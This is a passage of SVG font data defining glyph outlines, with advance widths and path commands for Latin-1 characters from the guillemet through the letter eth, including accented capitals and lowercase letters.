<glyph unicode="&#xab;" horiz-adv-x="1055" d="M80 553v22l395 420l135 -118l-288 -332l153 -369l-178 -76zM520 530v25l385 434l137 -112l-280 -351l147 -350l-180 -76z" />
<glyph unicode="&#xac;" d="M117 631v180h936v-555h-179v375h-757z" />
<glyph unicode="&#xad;" horiz-adv-x="649" d="M47 446l45 203h502l-45 -203h-502z" />
<glyph unicode="&#xae;" horiz-adv-x="1704" d="M131 731q0 200 100 375t275 276t377 101q199 0 373.5 -99t276 -275.5t101.5 -377.5q0 -199 -98.5 -373t-272.5 -276t-380 -102q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM254 731q0 -168 83 -312.5t229 -230.5t317 -86q173 0 319.5 87t227.5 231.5t81 310.5 q0 165 -82 310.5t-227.5 232t-318.5 86.5q-168 0 -314.5 -84.5t-230.5 -231t-84 -313.5zM608 291v878h269q337 0 337 -262q0 -83 -45.5 -145t-130.5 -98l211 -373h-200l-172 325h-91v-325h-178zM786 760h72q84 0 129 36t45 99q0 73 -45.5 101t-128.5 28h-72v-264z" />
<glyph unicode="&#xaf;" horiz-adv-x="903" d="M111 1556l39 166h911l-41 -166h-909z" />
<glyph unicode="&#xb0;" horiz-adv-x="877" d="M188 1153q0 136 97 233t233 97t232 -97t96 -233q0 -137 -96 -231.5t-232 -94.5q-88 0 -165 44t-121 119t-44 163zM340 1153q0 -70 52 -122t126 -52q72 0 124 52t52 122q0 74 -51.5 126t-124.5 52q-74 0 -126 -51.5t-52 -126.5z" />
<glyph unicode="&#xb1;" d="M117 0v180h936v-180h-936zM117 657v181h379v381h180v-381h377v-181h-377v-374h-180v374h-379z" />
<glyph unicode="&#xb2;" horiz-adv-x="745" d="M78 586l28 135l269 223q111 95 148.5 136t55 77t17.5 74q0 46 -28 72t-76 26q-91 0 -191 -80l-80 123q68 54 142.5 81.5t168.5 27.5q115 0 183.5 -60t68.5 -155q0 -69 -23.5 -124.5t-74 -110.5t-168.5 -146l-174 -142h371l-33 -157h-604z" />
<glyph unicode="&#xb3;" horiz-adv-x="745" d="M104 625v159q126 -71 248 -71q90 0 139.5 37t49.5 106q0 113 -146 113h-108l28 133h93q89 0 142.5 34t53.5 99q0 100 -117 100q-92 0 -188 -65l-68 121q126 90 291 90q124 0 193 -55.5t69 -153.5q0 -90 -54.5 -149t-158.5 -85v-4q78 -18 115 -67t37 -115 q0 -129 -99.5 -206t-269.5 -77q-138 0 -250 56z" />
<glyph unicode="&#xb4;" horiz-adv-x="1135" d="M508 1241v25q97 108 225 303h264v-19q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xb5;" horiz-adv-x="1221" d="M-55 -492l338 1598h235l-141 -670q-19 -84 -19 -129q0 -65 33 -101t96 -36q113 0 209.5 125.5t141.5 337.5l102 473h231l-235 -1106h-184l22 190h-10q-75 -111 -153 -160.5t-165 -49.5q-108 0 -155 81h-8q-9 -73 -39 -235l-66 -318h-233z" />
<glyph unicode="&#xb6;" horiz-adv-x="1341" d="M172 1042q0 260 109 387t342 127h581v-1816h-139v1638h-188v-1638h-140v819q-62 -18 -145 -18q-216 0 -318 125t-102 376z" />
<glyph unicode="&#xb7;" horiz-adv-x="551" d="M150 692q0 83 47 132.5t131 49.5q56 0 89.5 -31.5t33.5 -92.5q0 -78 -47.5 -129.5t-124.5 -51.5q-66 0 -97.5 35.5t-31.5 87.5z" />
<glyph unicode="&#xb8;" horiz-adv-x="420" d="M-188 -342q47 -14 96 -14q137 0 137 96q0 40 -35 61.5t-104 30.5l98 168h146l-50 -96q72 -25 104 -67t32 -101q0 -106 -82 -167t-224 -61q-64 0 -118 15v135z" />
<glyph unicode="&#xb9;" horiz-adv-x="745" d="M193 1247l339 215h162l-186 -876h-191l99 461q17 79 57 217q-21 -20 -49.5 -43t-153.5 -103z" />
<glyph unicode="&#xba;" horiz-adv-x="721" d="M164 1047q0 122 44 221.5t125.5 155t188.5 55.5q124 0 189 -71.5t65 -201.5q0 -126 -42 -225t-121 -155t-189 -56q-122 0 -191 73t-69 204zM326 1042q0 -141 112 -141q77 0 127.5 87.5t50.5 219.5q0 138 -106 138q-81 0 -132.5 -87.5t-51.5 -216.5z" />
<glyph unicode="&#xbb;" horiz-adv-x="1055" d="M10 211l281 348l-146 352l179 76l211 -432v-25l-385 -432zM444 211l287 330l-153 370l180 76l217 -455v-22l-397 -418z" />
<glyph unicode="&#xbc;" horiz-adv-x="1661" d="M149 0l1085 1462h195l-1083 -1462h-197zM151 1247l339 215h162l-186 -876h-191l99 461q17 79 57 217q-21 -20 -49.5 -43t-153.5 -103zM775 177l26 137l477 569h197l-121 -563h123l-29 -143h-122l-39 -176h-183l39 176h-368zM973 320h199l52 221l34 129q-32 -51 -98 -131z " />
<glyph unicode="&#xbd;" horiz-adv-x="1661" d="M121 0l1085 1462h195l-1083 -1462h-197zM122 1247l339 215h162l-186 -876h-191l99 461q17 79 57 217q-21 -20 -49.5 -43t-153.5 -103zM860 1l28 135l269 223q111 95 148.5 136t55 77t17.5 74q0 46 -28 72t-76 26q-91 0 -191 -80l-80 123q68 54 142.5 81.5t168.5 27.5 q115 0 183.5 -60t68.5 -155q0 -69 -23.5 -124.5t-74 -110.5t-168.5 -146l-174 -142h371l-33 -157h-604z" />
<glyph unicode="&#xbe;" horiz-adv-x="1683" d="M291 0l1085 1462h195l-1083 -1462h-197zM881 177l26 137l477 569h197l-121 -563h123l-29 -143h-122l-39 -176h-183l39 176h-368zM1079 320h199l52 221l34 129q-32 -51 -98 -131zM108 625v159q126 -71 248 -71q90 0 139.5 37t49.5 106q0 113 -146 113h-108l28 133h93 q89 0 142.5 34t53.5 99q0 100 -117 100q-92 0 -188 -65l-68 121q126 90 291 90q124 0 193 -55.5t69 -153.5q0 -90 -54.5 -149t-158.5 -85v-4q78 -18 115 -67t37 -115q0 -129 -99.5 -206t-269.5 -77q-138 0 -250 56z" />
<glyph unicode="&#xbf;" horiz-adv-x="907" d="M-35 -68q0 120 64 219t231 216q93 64 141 122.5t70 153.5h197q-25 -146 -79.5 -231t-170.5 -168q-107 -79 -145.5 -118t-57 -79t-18.5 -88q0 -71 42 -114.5t123 -43.5q76 0 149.5 27.5t152.5 65.5l75 -177q-205 -112 -409 -112q-174 0 -269.5 85.5t-95.5 241.5zM465 934 q0 78 46.5 129t125.5 51q66 0 97.5 -34t31.5 -87q0 -85 -48 -134.5t-130 -49.5q-56 0 -89.5 32.5t-33.5 92.5z" />
<glyph unicode="&#xc0;" horiz-adv-x="1210" d="M-121 0l783 1464h274l166 -1464h-234l-41 406h-485l-209 -406h-254zM446 614h365q-40 416 -45.5 503.5t-5.5 139.5q-55 -139 -142 -307zM538 1886v21h245q47 -154 132 -303v-25h-144q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="&#xc1;" horiz-adv-x="1210" d="M-121 0l783 1464h274l166 -1464h-234l-41 406h-485l-209 -406h-254zM446 614h365q-40 416 -45.5 503.5t-5.5 139.5q-55 -139 -142 -307zM707 1579v25q97 108 225 303h264v-19q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xc2;" horiz-adv-x="1210" d="M-121 0l783 1464h274l166 -1464h-234l-41 406h-485l-209 -406h-254zM446 614h365q-40 416 -45.5 503.5t-5.5 139.5q-55 -139 -142 -307zM444 1579v25q138 128 201 195.5t90 107.5h248q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#xc3;" horiz-adv-x="1210" d="M-121 0l783 1464h274l166 -1464h-234l-41 406h-485l-209 -406h-254zM446 614h365q-40 416 -45.5 503.5t-5.5 139.5q-55 -139 -142 -307zM441 1577q57 285 256 285q46 0 85 -17.5t72.5 -38t63.5 -38t59 -17.5q40 0 65 26.5t48 86.5h137q-66 -285 -260 -285q-45 0 -82.5 17 t-71.5 37.5t-65.5 37.5t-63.5 17q-38 0 -63 -27.5t-43 -83.5h-137z" />
<glyph unicode="&#xc4;" horiz-adv-x="1210" d="M-121 0l783 1464h274l166 -1464h-234l-41 406h-485l-209 -406h-254zM446 614h365q-40 416 -45.5 503.5t-5.5 139.5q-55 -139 -142 -307zM518 1718q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM901 1718 q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#xc5;" horiz-adv-x="1210" d="M-121 0l783 1464h274l166 -1464h-234l-41 406h-485l-209 -406h-254zM446 614h365q-40 416 -45.5 503.5t-5.5 139.5q-55 -139 -142 -307zM568 1573q0 103 65 164.5t168 61.5q104 0 171 -60.5t67 -163.5q0 -104 -66 -165.5t-172 -61.5t-169.5 61t-63.5 164zM697 1573 q0 -49 26.5 -76.5t77.5 -27.5q47 0 77 27.5t30 76.5q0 50 -30 78.5t-77 28.5q-45 0 -74.5 -28.5t-29.5 -78.5z" />
<glyph unicode="&#xc6;" horiz-adv-x="1753" d="M-121 0l930 1462h1020l-43 -205h-539l-84 -395h504l-43 -200h-502l-98 -459h539l-43 -203h-777l86 406h-432l-256 -406h-262zM528 614h344l138 643h-82z" />
<glyph unicode="&#xc7;" horiz-adv-x="1225" d="M135 545q0 260 105.5 483t281.5 339t402 116q217 0 389 -92l-94 -195q-63 34 -134 58t-161 24q-154 0 -275 -89t-193.5 -259.5t-72.5 -374.5q0 -180 82.5 -275.5t243.5 -95.5q141 0 329 68v-205q-180 -67 -374 -67q-248 0 -388.5 148.5t-140.5 416.5zM367 -342 q47 -14 96 -14q137 0 137 96q0 40 -35 61.5t-104 30.5l98 168h146l-50 -96q72 -25 104 -67t32 -101q0 -106 -82 -167t-224 -61q-64 0 -118 15v135z" />
<glyph unicode="&#xc8;" horiz-adv-x="1077" d="M70 0l309 1462h776l-43 -205h-539l-84 -395h502l-41 -203h-504l-96 -456h539l-43 -203h-776zM526 1886v21h245q47 -154 132 -303v-25h-144q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="&#xc9;" horiz-adv-x="1077" d="M70 0l309 1462h776l-43 -205h-539l-84 -395h502l-41 -203h-504l-96 -456h539l-43 -203h-776zM633 1579v25q97 108 225 303h264v-19q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xca;" horiz-adv-x="1077" d="M70 0l309 1462h776l-43 -205h-539l-84 -395h502l-41 -203h-504l-96 -456h539l-43 -203h-776zM417 1579v25q138 128 201 195.5t90 107.5h248q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#xcb;" horiz-adv-x="1077" d="M70 0l309 1462h776l-43 -205h-539l-84 -395h502l-41 -203h-504l-96 -456h539l-43 -203h-776zM479 1718q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM862 1718q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5 q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#xcc;" horiz-adv-x="608" d="M70 0l311 1462h235l-311 -1462h-235zM253 1886v21h245q47 -154 132 -303v-25h-144q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="&#xcd;" horiz-adv-x="608" d="M70 0l311 1462h235l-311 -1462h-235zM415 1579v25q97 108 225 303h264v-19q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xce;" horiz-adv-x="608" d="M70 0l311 1462h235l-311 -1462h-235zM160 1579v25q138 128 201 195.5t90 107.5h248q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#xcf;" horiz-adv-x="608" d="M70 0l311 1462h235l-311 -1462h-235zM243 1718q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM626 1718q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#xd0;" horiz-adv-x="1374" d="M53 623l45 200h144l137 639h369q271 0 417 -145t146 -424q0 -271 -100 -473t-291 -311t-449 -109h-401l129 623h-146zM348 201h135q177 0 309 86t202.5 242t70.5 356q0 184 -88 280.5t-256 96.5h-146l-94 -439h285l-45 -200h-283z" />
<glyph unicode="&#xd1;" horiz-adv-x="1491" d="M68 0l309 1462h268l399 -1149h7q6 54 31 192.5t40 203.5l160 753h219l-309 -1462h-260l-410 1163h-6l-10 -69q-24 -149 -35.5 -212.5t-183.5 -881.5h-219zM582 1577q57 285 256 285q46 0 85 -17.5t72.5 -38t63.5 -38t59 -17.5q40 0 65 26.5t48 86.5h137 q-66 -285 -260 -285q-45 0 -82.5 17t-71.5 37.5t-65.5 37.5t-63.5 17q-38 0 -63 -27.5t-43 -83.5h-137z" />
<glyph unicode="&#xd2;" horiz-adv-x="1485" d="M135 543q0 267 98.5 487.5t269.5 337.5t388 117q251 0 390.5 -149t139.5 -414q0 -279 -95 -497t-261.5 -331.5t-386.5 -113.5q-259 0 -401 149.5t-142 413.5zM383 545q0 -173 81.5 -267t227.5 -94q138 0 248.5 95.5t172 265t61.5 375.5q0 170 -79 265t-223 95 q-138 0 -250 -96t-175.5 -266.5t-63.5 -372.5zM652 1886v21h245q47 -154 132 -303v-25h-144q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="&#xd3;" horiz-adv-x="1485" d="M135 543q0 267 98.5 487.5t269.5 337.5t388 117q251 0 390.5 -149t139.5 -414q0 -279 -95 -497t-261.5 -331.5t-386.5 -113.5q-259 0 -401 149.5t-142 413.5zM383 545q0 -173 81.5 -267t227.5 -94q138 0 248.5 95.5t172 265t61.5 375.5q0 170 -79 265t-223 95 q-138 0 -250 -96t-175.5 -266.5t-63.5 -372.5zM787 1579v25q97 108 225 303h264v-19q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xd4;" horiz-adv-x="1485" d="M135 543q0 267 98.5 487.5t269.5 337.5t388 117q251 0 390.5 -149t139.5 -414q0 -279 -95 -497t-261.5 -331.5t-386.5 -113.5q-259 0 -401 149.5t-142 413.5zM383 545q0 -173 81.5 -267t227.5 -94q138 0 248.5 95.5t172 265t61.5 375.5q0 170 -79 265t-223 95 q-138 0 -250 -96t-175.5 -266.5t-63.5 -372.5zM555 1579v25q138 128 201 195.5t90 107.5h248q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#xd5;" horiz-adv-x="1485" d="M135 543q0 267 98.5 487.5t269.5 337.5t388 117q251 0 390.5 -149t139.5 -414q0 -279 -95 -497t-261.5 -331.5t-386.5 -113.5q-259 0 -401 149.5t-142 413.5zM383 545q0 -173 81.5 -267t227.5 -94q138 0 248.5 95.5t172 265t61.5 375.5q0 170 -79 265t-223 95 q-138 0 -250 -96t-175.5 -266.5t-63.5 -372.5zM543 1577q57 285 256 285q46 0 85 -17.5t72.5 -38t63.5 -38t59 -17.5q40 0 65 26.5t48 86.5h137q-66 -285 -260 -285q-45 0 -82.5 17t-71.5 37.5t-65.5 37.5t-63.5 17q-38 0 -63 -27.5t-43 -83.5h-137z" />
<glyph unicode="&#xd6;" horiz-adv-x="1485" d="M135 543q0 267 98.5 487.5t269.5 337.5t388 117q251 0 390.5 -149t139.5 -414q0 -279 -95 -497t-261.5 -331.5t-386.5 -113.5q-259 0 -401 149.5t-142 413.5zM383 545q0 -173 81.5 -267t227.5 -94q138 0 248.5 95.5t172 265t61.5 375.5q0 170 -79 265t-223 95 q-138 0 -250 -96t-175.5 -266.5t-63.5 -372.5zM623 1718q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM1006 1718q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5 z" />
<glyph unicode="&#xd7;" d="M147 1034l125 125l312 -309l313 309l127 -123l-315 -313l311 -313l-123 -123l-313 309l-312 -307l-122 123l307 311z" />
<glyph unicode="&#xd8;" horiz-adv-x="1485" d="M109 18l129 160q-103 138 -103 365q0 267 98.5 487.5t269.5 337.5t388 117q189 0 317 -94l119 149l133 -104l-133 -166q94 -130 94 -348q0 -279 -95 -497t-261.5 -331.5t-386.5 -113.5q-193 0 -318 83l-118 -149zM377 545q0 -88 24 -164l668 836q-80 65 -197 65 q-141 0 -253 -93t-177 -265t-65 -379zM500 238q75 -56 194 -56q139 0 250.5 95.5t173.5 264.5t62 378q0 88 -19 143z" />
<glyph unicode="&#xd9;" horiz-adv-x="1399" d="M152 391q0 83 20 170l193 901h237l-192 -905q-21 -88 -21 -158q0 -102 59.5 -158.5t180.5 -56.5q145 0 230 80.5t124 261.5l199 936h237l-202 -956q-56 -267 -208 -396.5t-403 -129.5q-217 0 -335.5 106t-118.5 305zM619 1886v21h245q47 -154 132 -303v-25h-144 q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="&#xda;" horiz-adv-x="1399" d="M152 391q0 83 20 170l193 901h237l-192 -905q-21 -88 -21 -158q0 -102 59.5 -158.5t180.5 -56.5q145 0 230 80.5t124 261.5l199 936h237l-202 -956q-56 -267 -208 -396.5t-403 -129.5q-217 0 -335.5 106t-118.5 305zM791 1579v25q97 108 225 303h264v-19 q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xdb;" horiz-adv-x="1399" d="M152 391q0 83 20 170l193 901h237l-192 -905q-21 -88 -21 -158q0 -102 59.5 -158.5t180.5 -56.5q145 0 230 80.5t124 261.5l199 936h237l-202 -956q-56 -267 -208 -396.5t-403 -129.5q-217 0 -335.5 106t-118.5 305zM536 1579v25q138 128 201 195.5t90 107.5h248 q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#xdc;" horiz-adv-x="1399" d="M152 391q0 83 20 170l193 901h237l-192 -905q-21 -88 -21 -158q0 -102 59.5 -158.5t180.5 -56.5q145 0 230 80.5t124 261.5l199 936h237l-202 -956q-56 -267 -208 -396.5t-403 -129.5q-217 0 -335.5 106t-118.5 305zM602 1718q0 60 35 98t98 38q48 0 76.5 -23.5 t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM985 1718q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#xdd;" horiz-adv-x="1092" d="M186 1462h242l154 -669l432 669h266l-623 -913l-114 -549h-238l119 553zM610 1579v25q97 108 225 303h264v-19q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xde;" horiz-adv-x="1174" d="M70 0l309 1462h237l-51 -243h97q227 0 344.5 -101t117.5 -301q0 -243 -166.5 -377.5t-476.5 -134.5h-108l-66 -305h-237zM414 506h96q176 0 274.5 78.5t98.5 226.5q0 109 -59.5 158t-180.5 49h-121z" />
<glyph unicode="&#xdf;" horiz-adv-x="1266" d="M-258 -276q61 -21 113 -21q65 0 106.5 43.5t63.5 147.5l262 1234q48 231 173 333t349 102q188 0 292.5 -80t104.5 -215q0 -169 -179 -299q-118 -87 -148.5 -119.5t-30.5 -67.5q0 -44 74 -101q107 -84 143 -127t55 -92.5t19 -109.5q0 -172 -116 -272t-314 -100 q-182 0 -283 65v201q126 -86 252 -86q105 0 164 44t59 124q0 48 -23.5 85t-111.5 107q-82 64 -121 121.5t-39 126.5q0 75 44.5 139t135.5 124q98 66 138.5 112t40.5 98q0 65 -47 101t-132 36q-210 0 -262 -239l-264 -1260q-42 -197 -134.5 -284t-242.5 -87q-69 0 -141 23 v193z" />
<glyph unicode="&#xe0;" horiz-adv-x="1186" d="M94 367q0 202 69.5 378t191.5 278.5t268 102.5q97 0 167 -45.5t109 -132.5h10l62 158h180l-236 -1106h-182l21 176h-6q-158 -196 -349 -196q-141 0 -223 101.5t-82 285.5zM332 373q0 -102 40.5 -152.5t112.5 -50.5q82 0 161 77.5t130 207.5t51 284q0 88 -47 141.5 t-123 53.5q-85 0 -160 -77t-120 -209.5t-45 -274.5zM470 1548v21h245q47 -154 132 -303v-25h-144q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="&#xe1;" horiz-adv-x="1186" d="M94 367q0 202 69.5 378t191.5 278.5t268 102.5q97 0 167 -45.5t109 -132.5h10l62 158h180l-236 -1106h-182l21 176h-6q-158 -196 -349 -196q-141 0 -223 101.5t-82 285.5zM332 373q0 -102 40.5 -152.5t112.5 -50.5q82 0 161 77.5t130 207.5t51 284q0 88 -47 141.5 t-123 53.5q-85 0 -160 -77t-120 -209.5t-45 -274.5zM598 1241v25q97 108 225 303h264v-19q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xe2;" horiz-adv-x="1186" d="M94 367q0 202 69.5 378t191.5 278.5t268 102.5q97 0 167 -45.5t109 -132.5h10l62 158h180l-236 -1106h-182l21 176h-6q-158 -196 -349 -196q-141 0 -223 101.5t-82 285.5zM332 373q0 -102 40.5 -152.5t112.5 -50.5q82 0 161 77.5t130 207.5t51 284q0 88 -47 141.5 t-123 53.5q-85 0 -160 -77t-120 -209.5t-45 -274.5zM351 1241v25q138 128 201 195.5t90 107.5h248q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#xe3;" horiz-adv-x="1186" d="M94 367q0 202 69.5 378t191.5 278.5t268 102.5q97 0 167 -45.5t109 -132.5h10l62 158h180l-236 -1106h-182l21 176h-6q-158 -196 -349 -196q-141 0 -223 101.5t-82 285.5zM332 373q0 -102 40.5 -152.5t112.5 -50.5q82 0 161 77.5t130 207.5t51 284q0 88 -47 141.5 t-123 53.5q-85 0 -160 -77t-120 -209.5t-45 -274.5zM344 1239q57 285 256 285q46 0 85 -17.5t72.5 -38t63.5 -38t59 -17.5q40 0 65 26.5t48 86.5h137q-66 -285 -260 -285q-45 0 -82.5 17t-71.5 37.5t-65.5 37.5t-63.5 17q-38 0 -63 -27.5t-43 -83.5h-137z" />
<glyph unicode="&#xe4;" horiz-adv-x="1186" d="M94 367q0 202 69.5 378t191.5 278.5t268 102.5q97 0 167 -45.5t109 -132.5h10l62 158h180l-236 -1106h-182l21 176h-6q-158 -196 -349 -196q-141 0 -223 101.5t-82 285.5zM332 373q0 -102 40.5 -152.5t112.5 -50.5q82 0 161 77.5t130 207.5t51 284q0 88 -47 141.5 t-123 53.5q-85 0 -160 -77t-120 -209.5t-45 -274.5zM425 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM808 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5 t-31 74.5z" />
<glyph unicode="&#xe5;" horiz-adv-x="1186" d="M94 367q0 202 69.5 378t191.5 278.5t268 102.5q97 0 167 -45.5t109 -132.5h10l62 158h180l-236 -1106h-182l21 176h-6q-158 -196 -349 -196q-141 0 -223 101.5t-82 285.5zM332 373q0 -102 40.5 -152.5t112.5 -50.5q82 0 161 77.5t130 207.5t51 284q0 88 -47 141.5 t-123 53.5q-85 0 -160 -77t-120 -209.5t-45 -274.5zM517 1464q0 103 65 164.5t168 61.5q104 0 171 -60.5t67 -163.5q0 -104 -66 -165.5t-172 -61.5t-169.5 61t-63.5 164zM646 1464q0 -49 26.5 -76.5t77.5 -27.5q47 0 77 27.5t30 76.5q0 50 -30 78.5t-77 28.5 q-45 0 -74.5 -28.5t-29.5 -78.5z" />
<glyph unicode="&#xe6;" horiz-adv-x="1726" d="M94 367q0 201 69 378t188.5 279t260.5 102q88 0 152 -43.5t108 -134.5h9l63 158h148l-25 -117q51 63 131 100t180 37q140 0 220.5 -76.5t80.5 -201.5q0 -182 -166.5 -284.5t-474.5 -102.5h-45l-4 -60q0 -117 60.5 -177t175.5 -60q125 0 305 84v-189q-175 -79 -344 -79 q-222 0 -305 137l-23 -117h-151l20 176h-8q-85 -106 -165.5 -151t-174.5 -45q-134 0 -209.5 103t-75.5 284zM332 373q0 -105 37 -154t96 -49q85 0 162.5 80.5t125.5 215.5t48 267q0 91 -38.5 146t-113.5 55q-85 0 -159.5 -80t-116 -211t-41.5 -270zM1022 633h31 q187 0 293 53.5t106 149.5q0 58 -34 84t-85 26q-103 0 -188.5 -86t-122.5 -227z" />
<glyph unicode="&#xe7;" horiz-adv-x="954" d="M94 389q0 207 73.5 376.5t206.5 265t302 95.5q164 0 297 -61l-70 -184q-122 53 -221 53q-150 0 -250 -153.5t-100 -379.5q0 -111 56 -171t155 -60q74 0 138.5 22t129.5 54v-195q-140 -71 -305 -71q-196 0 -304 106t-108 303zM197 -342q47 -14 96 -14q137 0 137 96 q0 40 -35 61.5t-104 30.5l98 168h146l-50 -96q72 -25 104 -67t32 -101q0 -106 -82 -167t-224 -61q-64 0 -118 15v135z" />
<glyph unicode="&#xe8;" horiz-adv-x="1075" d="M94 401q0 198 77.5 368.5t210 263.5t296.5 93q161 0 250.5 -72.5t89.5 -205.5q0 -182 -166.5 -284.5t-474.5 -102.5h-43l-2 -31v-29q0 -111 56.5 -174t168.5 -63q72 0 143 19t168 65v-187q-96 -44 -176.5 -62.5t-179.5 -18.5q-197 0 -307.5 111t-110.5 310zM362 633h29 q188 0 294 53.5t106 151.5q0 51 -32 79.5t-95 28.5q-96 0 -180.5 -86t-121.5 -227zM436 1548v21h245q47 -154 132 -303v-25h-144q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="&#xe9;" horiz-adv-x="1075" d="M94 401q0 198 77.5 368.5t210 263.5t296.5 93q161 0 250.5 -72.5t89.5 -205.5q0 -182 -166.5 -284.5t-474.5 -102.5h-43l-2 -31v-29q0 -111 56.5 -174t168.5 -63q72 0 143 19t168 65v-187q-96 -44 -176.5 -62.5t-179.5 -18.5q-197 0 -307.5 111t-110.5 310zM362 633h29 q188 0 294 53.5t106 151.5q0 51 -32 79.5t-95 28.5q-96 0 -180.5 -86t-121.5 -227zM557 1241v25q97 108 225 303h264v-19q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xea;" horiz-adv-x="1075" d="M94 401q0 198 77.5 368.5t210 263.5t296.5 93q161 0 250.5 -72.5t89.5 -205.5q0 -182 -166.5 -284.5t-474.5 -102.5h-43l-2 -31v-29q0 -111 56.5 -174t168.5 -63q72 0 143 19t168 65v-187q-96 -44 -176.5 -62.5t-179.5 -18.5q-197 0 -307.5 111t-110.5 310zM362 633h29 q188 0 294 53.5t106 151.5q0 51 -32 79.5t-95 28.5q-96 0 -180.5 -86t-121.5 -227zM320 1241v25q138 128 201 195.5t90 107.5h248q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#xeb;" horiz-adv-x="1075" d="M94 401q0 198 77.5 368.5t210 263.5t296.5 93q161 0 250.5 -72.5t89.5 -205.5q0 -182 -166.5 -284.5t-474.5 -102.5h-43l-2 -31v-29q0 -111 56.5 -174t168.5 -63q72 0 143 19t168 65v-187q-96 -44 -176.5 -62.5t-179.5 -18.5q-197 0 -307.5 111t-110.5 310zM362 633h29 q188 0 294 53.5t106 151.5q0 51 -32 79.5t-95 28.5q-96 0 -180.5 -86t-121.5 -227zM388 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM771 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102 t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#xec;" horiz-adv-x="563" d="M47 0l236 1106h235l-235 -1106h-236zM159 1548v21h245q47 -154 132 -303v-25h-144q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="&#xed;" horiz-adv-x="563" d="M47 0l236 1106h235l-235 -1106h-236zM308 1241v25q97 108 225 303h264v-19q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xee;" horiz-adv-x="563" d="M47 0l236 1106h235l-235 -1106h-236zM64 1241v25q138 128 201 195.5t90 107.5h248q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#xef;" horiz-adv-x="563" d="M47 0l236 1106h235l-235 -1106h-236zM142 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM525 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#xf0;" horiz-adv-x="1174" d="M80 389q0 162 65.5 299t184.5 215t266 78q96 0 168 -38.5t113 -108.5h6q-10 243 -133 383l-250 -142l-72 129l219 121q-44 41 -135 96l106 152q129 -72 209 -146l250 138l70 -127l-217 -121q155 -205 155 -512q0 -255 -73 -444.5t-204 -285t-312 -95.5q-197 0 -306.5 107 t-109.5 302zM317 377q0 -104 49 -159.5t142 -55.5q92 0 161.5 59.5t108.5 159t39 205.5q0 97 -52 155t-144 58q-91 0 -160.5 -56t-106.5 -153.5t-37 -212.5z" />
